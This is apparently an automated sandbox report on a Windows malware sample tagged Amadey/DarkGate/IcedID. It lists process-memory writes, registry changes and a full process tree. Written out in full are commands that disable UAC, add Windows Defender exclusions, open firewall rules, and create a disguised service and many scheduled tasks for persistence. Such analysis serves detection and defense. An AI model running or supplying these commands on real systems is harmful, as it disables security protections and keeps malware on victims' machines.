PID 1900 wrote to memory of 3332	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	184
PID 1900 wrote to memory of 4736	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	186
PID 1900 wrote to memory of 4304	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	188
PID 1900 wrote to memory of 3328	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	190
PID 1900 wrote to memory of 4016	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	192
PID 1900 wrote to memory of 6096	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	194
PID 1900 wrote to memory of 5996	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	195
PID 1900 wrote to memory of 1956	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	196
PID 1900 wrote to memory of 5516	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	198
PID 1900 wrote to memory of 4548	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	200
PID 1900 wrote to memory of 2832	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	201
PID 1900 wrote to memory of 6016	1900	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe	202
PID 5996 wrote to memory of 3616	5996	CMD.exe	208
PID 1956 wrote to memory of 5740	1956	cmd.exe	209
PID 2832 wrote to memory of 5824	2832	cmd.exe	210
PID 5516 wrote to memory of 1088	5516	cmd.exe	211
PID 6016 wrote to memory of 5116	6016	cmd.exe	212

System policy modification 1 TTPs 12 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Checks computer location settings
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Drops file in Windows directory
- Direct Volume Access: Opens a physical disk for reading
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1900
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4760
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" E: /S
  2⤵
  PID:5508
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:772
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-10-26_f870ad52708fa08374a4c20ef483580f_amadey_darkgate_glassworm_icedid.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:1652
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:3456
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" E: /D
  2⤵
  - Enumerates connected drives
  PID:2532
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" F: /S
  2⤵
  PID:4936
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" F: /D
  2⤵
  PID:5788
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_3e352167" /F
  2⤵
  PID:2336
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" G: /S
  2⤵
  PID:436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4412
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_3e352167" /XML "C:\Users\Admin\AppData\Local\Temp\b2b9d6c5-6259-45ca-bc1e-4c711b2361e1.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3776
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "CCleanerSkipUAC_92d97a2c" /F
  2⤵
  PID:4388
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "CCleanerSkipUAC_92d97a2c" /XML "C:\Users\Admin\AppData\Local\Temp\1e791eaa-42a9-4c03-a5d4-2b155dbcad16.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4812
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_e4f817ae" /F
  2⤵
  PID:1868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3928
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_e4f817ae" /XML "C:\Users\Admin\AppData\Local\Temp\9c6777ce-f3da-489d-b10c-34e9d0855daa.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1696
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" G: /D
  2⤵
  - Enumerates connected drives
  PID:3064
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" H: /S
  2⤵
  PID:3552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2940
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "Intel PTT EK Recertification_36bab08d" /F
  2⤵
  PID:4228
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "Intel PTT EK Recertification_36bab08d" /XML "C:\Users\Admin\AppData\Local\Temp\fa355ee3-4e47-4a26-9aa0-6b01393ccf42.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1636
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_989c331c" /F
  2⤵
  PID:1784
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_989c331c" /XML "C:\Users\Admin\AppData\Local\Temp\f66809df-5e78-4562-9f58-c862605e14b9.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Optimization.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1612
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" H: /D
  2⤵
  - Enumerates connected drives
  PID:5508
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" I: /S
  2⤵
  PID:2408
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 8 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 8 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1144
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "FamilySafetyMonitor_db051861" /F
  2⤵
  PID:2152
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "FamilySafetyMonitor_db051861" /XML "C:\Users\Admin\AppData\Local\Temp\f7c038bc-d7ed-4946-b56e-f8686566d8a0.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5292
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" I: /D
  2⤵
  - Enumerates connected drives
  PID:3816
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" J: /S
  2⤵
  PID:5448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4736
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" J: /D
  2⤵
  - Enumerates connected drives
  PID:4304
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" K: /S
  2⤵
  PID:3328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Optimization.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4016
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
  2⤵
  PID:6096
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c schtasks /delete /F /TN "Optimization" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /F /TN "Optimization"
    3⤵
    PID:3616
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "Optimization" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "Optimization" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5740
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Optimization_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5516
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Optimization_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1088
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Optimization_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:4548
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Optimization_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2088
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Optimization_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Optimization_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5824
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Optimization_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6016
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Optimization_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5116
- C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
  "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender TamperProtection settings
  - UAC bypass
  - Executes dropped EXE
  - Registers new Windows logon scripts automatically executed at logon.
  - Windows security modification
  - Checks whether UAC is enabled
  - Drops file in Windows directory
  - Direct Volume Access: Opens a physical disk for reading
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  - System policy modification
  PID:4396
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
    3⤵
    - Executes a command shell one-liner
    PID:5984
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:8
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" E: /S
    3⤵
    PID:212
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:5636
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:2204
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:628
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c schtasks /delete /F /TN "Optimization" & exit
    3⤵
    - Executes a command shell one-liner
    PID:2432
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /F /TN "Optimization"
      4⤵
      PID:5204
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Optimization_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:5876
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Optimization_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5556
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Optimization_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:2716
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Optimization_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4108
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Optimization_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:4732
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Optimization_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3952
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Optimization_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:6048
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Optimization_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1768
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" E: /D
    3⤵
    - Enumerates connected drives
    PID:2932
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" F: /S
    3⤵
    PID:5036
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" F: /D
    3⤵
    - Enumerates connected drives
    PID:3972
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_09bc1bb2" /F
    3⤵
    PID:3236
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" G: /S
    3⤵
    PID:4336
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "FamilySafetyRefreshTask_09bc1bb2" /XML "C:\Users\Admin\AppData\Local\Temp\52010b8f-55fb-4b33-b892-c1f71feac81b.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1836
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "SystemSoundsService_f87f41b7" /F
    3⤵
    PID:5612
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" G: /D
    3⤵
    - Enumerates connected drives
    PID:6136
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "SystemSoundsService_f87f41b7" /XML "C:\Users\Admin\AppData\Local\Temp\a76a33d8-5eb6-4835-998b-d3a54c91f079.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4120
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" H: /S
    3⤵
    PID:2940
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" H: /D
    3⤵
    - Enumerates connected drives
    PID:4072
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" I: /S
    3⤵
    PID:3908
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_de32700c" /F
    3⤵
    PID:2620
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_de32700c" /XML "C:\Users\Admin\AppData\Local\Temp\dc7e26c9-14c0-4277-9d3d-95bc0ddec682.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3280
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" I: /D
    3⤵
    - Enumerates connected drives
    PID:2672
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" J: /S
    3⤵
    PID:3436
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "SystemSoundsService_25b3dd17" /F
    3⤵
    PID:3228
